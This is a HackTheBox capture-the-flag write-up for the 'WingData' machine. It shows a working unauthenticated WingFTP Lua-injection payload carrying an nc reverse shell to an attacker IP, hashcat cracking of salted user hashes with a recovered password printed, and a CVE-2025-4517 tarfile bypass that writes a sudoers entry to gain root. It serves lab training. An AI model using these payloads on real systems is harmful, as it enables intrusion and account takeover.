In WingData, we exploit an unauthenticated RCE vulnerability in WingFTP to gain initial access, crack salted password hashes to pivot to another user, and achieve root by abusing a Python tarfile data filter bypass enabling arbitrary file write via symlink chain.

Introduction

In this post, I will demonstrate the exploitation of an easy difficulty machine called "WingData" on HackTheBox. Overall, it was an enjoyable box offering a nice learning experience.

This box was pwned on 13-03-2026. The writeup was made available on 29-06-2026 when the machine retired.

Step 1: running an Nmap scan on the target

┌──(kali㉿kali)-[~]
└─$ nmap -sV -sC wingdata.htb
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-03 17:10 -0400
Nmap scan report for wingdata.htb (10.129.47.211)
Host is up (0.012s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: WingData Solutions
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.51 seconds

This scan revealed that an SSH server as well as an Apache webserver are running. In the background, I also performed a scan of all tcp ports which gave the same results.

Step 2: Enumerating the webserver

Upon visiting the website running on port 80, a button called "Client Portal" caught my eye immediately:

website port 80

Clicking the button redirected me to a WingFTP login portal where the version of the WingFTP service was displayed:

website port 80

Doing a quick Google search for vulnerabilities, I found that the service is vulnerable to an unauthenticated RCE vulnerability: WingFTP RCE vulnerability.

Step 3: Gaining access

Unfortunately, this advisory page did not give enough information to launch an attack. Therefore, I decided to look for a POC of the exploit and found the following: WingFTP RCE vulnerability POC. The vulnerability exists because the system's validator and the Lua interpreter see the string differently. The validator sees the null byte (%00) and thinks the input ends there, marking it as 'safe.' However, the Lua engine continues reading past the null byte, encountering the ]] which breaks out of the string and allows the subsequent malicious code to be executed as actual logic rather than plain text. The POC gave us the following payload:

   payload = (
        f"username={encoded_username}%00]] local h = io.popen(\"{command}\") local r = h:read(\"*a\")" 
        )

URL decoded:

username={encoded_username}%00]] 
local+h+=+io.popen(\"{command}\")
local+r+=+h:read(\"*a\")""
h:close()
print(r)
--&password="

In order to get a shell, we can alter the payload as follows:

 username=anonymous%00]]
local+h+=+io.popen("nc 10.10.15.123 9000 -e /bin/sh")
local+r+=+h:read("*a")
h:close()
print(r)
--&password=

This payload needs to be URL-encoded before we send it:

username=anonymous%00]]%0dlocal+h+%3d+io.popen("nc 10.10.15.123 9000 -e /bin/sh")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=

Now, we start a netcat listener and intercept a login request using burpsuite entering our payload in the username field:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9000            
listening on [any] 9000 ...

The modified login request should look like this:

POST /loginok.html HTTP/1.1
Host: ftp.wingdata.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Origin: http://ftp.wingdata.htb
Connection: keep-alive
Referer: http://ftp.wingdata.htb/login.html?lang=english
Cookie: client_lang=english
Upgrade-Insecure-Requests: 1
Priority: u=0, i

username=anonymous%00]]%0dlocal+h+%3d+io.popen("nc 10.10.15.123 9000 -e /bin/sh")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=

As a result of forwarding the modified request, We get a shell as the wingftp user:

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 9000
listening on [any] 9000 ...
connect to [10.10.15.123] from (UNKNOWN) [10.129.47.211] 52706
whoami
wingftp

Step 4: Lateral privilege escalation to wacky

After some exploration of the /opt directory, I found some .xml files containing user credentials:

wingftp@wingdata:/opt/wftpserver/Data/1/users$ ls
anonymous.xml  john.xml  maria.xml  steve.xml  wacky.xml

The passwords were hashed:

c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

Doing some research about how WingFTP stores passwords, I quickly found out that passwords were hashed and salted by adding "WingFTP".

c1f14672feec3bba27231048271fcdcddeb9d75ef79f6889139aa78c9d398f10:wingFTP
a70221f33a51dca76dfd46c17ab17116a97823caf40aeecfbc611cae47421b03:wingFTP
5916c7481fa2f20bd86f4bdb900f0342359ec19a77b7e3ae118f3b5d0d3334ca:wingFTP
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:wingFTP

Attempting to crack them using hashcat gave me the password of the user "wacky" (append the salt to the hashes)

┌──(kali㉿kali)-[~]
└─$ hashcat hashes -m 1410 /usr/share/wordlists/rockyou.txt
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
====================================================================================================================================================
* Device #01: cpu-haswell-Intel(R) Core(TM) Ultra 7 255H, 2948/5897 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimum salt length supported by kernel: 0
Maximum salt length supported by kernel: 256

Hashes: 4 digests; 4 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 512 MB (5253 MB free)

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5
Approaching final keyspace - workload adjusted.           

                                                          
Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 1410 (sha256($pass.$salt))
Hash.Target......: hashes
Time.Started.....: Mon May  4 17:54:50 2026 (5 secs)
Time.Estimated...: Mon May  4 17:54:55 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  3149.2 kH/s (0.36ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/4 (25.00%) Digests (total), 1/4 (25.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...:  kristenanne -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#01.: Util: 75%

Started: Mon May  4 17:54:49 2026
Stopped: Mon May  4 17:54:56 2026

This password can be used to login using ssh as the user "wacky":

┌──(kali㉿kali)-[~]
└─$ ssh wacky@wingdata.htb            
The authenticity of host 'wingdata.htb (10.129.48.193)' can't be established.
ED25519 key fingerprint is: SHA256:JacnW6dsEmtRtwu2ULpY/CK8n/8M9tU+6pQhjBG3a4w
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wingdata.htb' (ED25519) to the list of known hosts.
wacky@wingdata.htb's password: 
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon May 4 17:56:51 2026 from 10.10.15.123
wacky@wingdata:~$ ls
user.txt
wacky@wingdata:~$ 

Step 5: Privilege escalation to root

Running sudo -l revealed we can run a python script without a password:

wacky@wingdata:~$ sudo -l
Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

The python script looks like this:

wacky@wingdata:/opt/backup_clients$ cat restore_backup_clients.py 
#!/usr/bin/env python3
import tarfile
import os
import sys
import re
import argparse

BACKUP_BASE_DIR = "/opt/backup_clients/backups"
STAGING_BASE = "/opt/backup_clients/restored_backups"

def validate_backup_name(filename):
    if not re.fullmatch(r"^backup_\d+\.tar$", filename):
        return False
    client_id = filename.split('_')[1].rstrip('.tar')
    return client_id.isdigit() and client_id != "0"

def validate_restore_tag(tag):
    return bool(re.fullmatch(r"^[a-zA-Z0-9_]{1,24}$", tag))

def main():
    parser = argparse.ArgumentParser(
        description="Restore client configuration from a validated backup tarball.",
        epilog="Example: sudo %(prog)s -b backup_1001.tar -r restore_john"
    )
    parser.add_argument(
        "-b", "--backup",
        required=True,
        help="Backup filename (must be in /home/wacky/backup_clients/ and match backup_<client_id>.tar, "
             "where <client_id> is a positive integer, e.g., backup_1001.tar)"
    )
    parser.add_argument(
        "-r", "--restore-dir",
        required=True,
        help="Staging directory name for the restore operation. "
             "Must follow the format: restore_<client_user> (e.g., restore_john). "
             "Only alphanumeric characters and underscores are allowed in the <client_user> part (1–24 characters)."
    )

    args = parser.parse_args()

    if not validate_backup_name(args.backup):
        print("[!] Invalid backup name. Expected format: backup_<client_id>.tar (e.g., backup_1001.tar)", file=sys.stderr)
        sys.exit(1)

    backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
    if not os.path.isfile(backup_path):
        print(f"[!] Backup file not found: {backup_path}", file=sys.stderr)
        sys.exit(1)

    if not args.restore_dir.startswith("restore_"):
        print("[!] --restore-dir must start with 'restore_'", file=sys.stderr)
        sys.exit(1)

    tag = args.restore_dir[8:]
    if not tag:
        print("[!] --restore-dir must include a non-empty tag after 'restore_'", file=sys.stderr)
        sys.exit(1)

    if not validate_restore_tag(tag):
        print("[!] Restore tag must be 1–24 characters long and contain only letters, digits, or underscores", file=sys.stderr)
        sys.exit(1)

    staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
    print(f"[+] Backup: {args.backup}")
    print(f"[+] Staging directory: {staging_dir}")

    os.makedirs(staging_dir, exist_ok=True)

    try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

if __name__ == "__main__":
    main()

Analysis of the script revealed its function. Apparently, the script accepts a .tar archive, specified with the -b flag, and unpacks it to a given directory specified with the -r flag. To prevent the user from overwriting important files during the extraction process, the directory specified with the -r flag is sanitized using a regex pattern only allowing letters, digits and underscores (thus not allowing ../../../ needed for a path traversal attack). Furthermore, the directory specified with this flag needs to be between 1 and 24 characters long. Based on this knowledge, I was fairly certain that tampering with the directory supplied with the -r flag was not the way to gain root on this system.

The extractall function executes the main functionality of the script. It takes the path to the tar archive and opens it with the tarfile.open function. Note that the variable backup_path is a concatenation of the BACKUP_BASE_DIR variable and the filename provided by the -b flag (see full script above). Next, the extractall function specifies the path to extract the files using the staging_dir variable which is a concatenation of the STAGING_BASE variable and the argument supplied by the -r flag.

backup_path = os.path.join(BACKUP_BASE_DIR, args.backup)
staging_dir = os.path.join(STAGING_BASE, args.restore_dir)
try:
        with tarfile.open(backup_path, "r") as tar:
            tar.extractall(path=staging_dir, filter="data")
        print(f"[+] Extraction completed in {staging_dir}")
    except (tarfile.TarError, OSError, Exception) as e:
        print(f"[!] Error during extraction: {e}", file=sys.stderr)
        sys.exit(2)

Using an extension that scans for vulnerable code called "Snyk", I found 2 issues. The script seems to be vulnerable to "Arbitrary File Write Via Archive Extraction" and "Path Traversal".

snyk vulnerability scan results

Next, I decided to further investigate the potential vulnerable code found by Snyk.The Arbitrary file write via archive extraction caught my eye as it seems fitting to the function of this script.

snyk vulnerability scan results

Based on this information, it seems the extractall function is vulnerable to tar slip. Interestingly however, the extractall function has a filter in place (filter="data") preventing the tar slip attack suggested by Snyk. This filter checks extracted files for traversal strategies such as ../../../../ before writing them and therefore mitigates the tar slip attack.

Next, I did some more research regarding the security of the extractall function. After some time, I stumbled upon a recent vulnerability that bypasses the abovementioned data filter of the extractall function. tar.extractall() data filter bypass.

The vulnerability lies within Python's os.path.realpath() function, which the data filter relies on to verify that symlinks do not escape the extraction directory. When the resolved path exceeds PATH_MAX,Linux's 4096-byte limit on path lengths, realpath() silently abandons symlink resolution and falls back to plain string manipulation. A specially crafted tar archive can exploit this by chaining together symlinks with very long target names, causing the internal path to overflow PATH_MAX mid-resolution. At that point, realpath() processes the remaining path components as plain text, making the path appear to stay inside the extraction directory while in reality it resolves to an arbitrary location on the filesystem. The data filter sees a safe path and allows the extraction, but the OS follows the actual symlinks and writes the file wherever the attacker intended. For a detailed explanation, I suggest the following pages: tar.extractall() data filter bypass analysis 1., tar.extractall() data filter bypass analysis 2. and tar.extractall() data filter bypass POC.

In order to get root on the box, we can simply follow the instructions mentioned in the abovementioned Github POC: tar.extractall() data filter bypass POC.. Specifically, after cloning the repository, we upload the POC to the victim machine. First, spin up a python http server on the kali attacking machine:

┌──(kali㉿kali)-[~/CVE-2025-4517-POC]
└─$ python3 -m http.server 6666
Serving HTTP on 0.0.0.0 port 6666 (http://0.0.0.0:6666/) ...

Download the python script on the victim:

wacky@wingdata:/opt/backup_clients/backups$ wget http://10.10.15.123:6666/CVE-2025-4517-POC.py
--2026-05-07 16:42:13--  http://10.10.15.123:6666/CVE-2025-4517-POC.py
Connecting to 10.10.15.123:6666... connected.
HTTP request sent, awaiting response... 200 OK
Length: 6973 (6.8K) [text/x-python]
Saving to: ‘CVE-2025-4517-POC.py’

CVE-2025-4517-POC.py                     100%[===============================================================================>]   6.81K  --.-KB/s    in 0.002s  

2026-05-07 16:42:13 (3.11 MB/s) - ‘CVE-2025-4517-POC.py’ saved [6973/6973]

Finally, execute the python script to get root:

wacky@wingdata:/opt/backup_clients/backups$ python3 CVE-2025-4517-POC.py 

╔═══════════════════════════════════════════════════════════╗
║     CVE-2025-4517 Tarfile Exploit                         ║
║     Privilege Escalation via Symlink + Hardlink Bypass    ║
╚═══════════════════════════════════════════════════════════╝
    
[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999

[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL

============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================

[?] Spawn root shell now? (y/n): y

[*] Spawning root shell...
[*] Run: sudo /bin/bash
root@wingdata:/opt/backup_clients/backups# 
root@wingdata:/opt/backup_clients/backups# ls /root
root.txt

Congratulations, you have successfully rooted this box!

Final thoughts

Overall, This was a nice box which I thoroughly enjoyed solving. However, the privilege escalation through the extractall python function is still a bit vague to completely comprehend as it is quite sophisticated and I'm not a python expert. Therefore, take the explanation of the python script and vulnerability with a grain of salt. Nevertheless, Wingdata was a great box to solve!

Go to the Home Page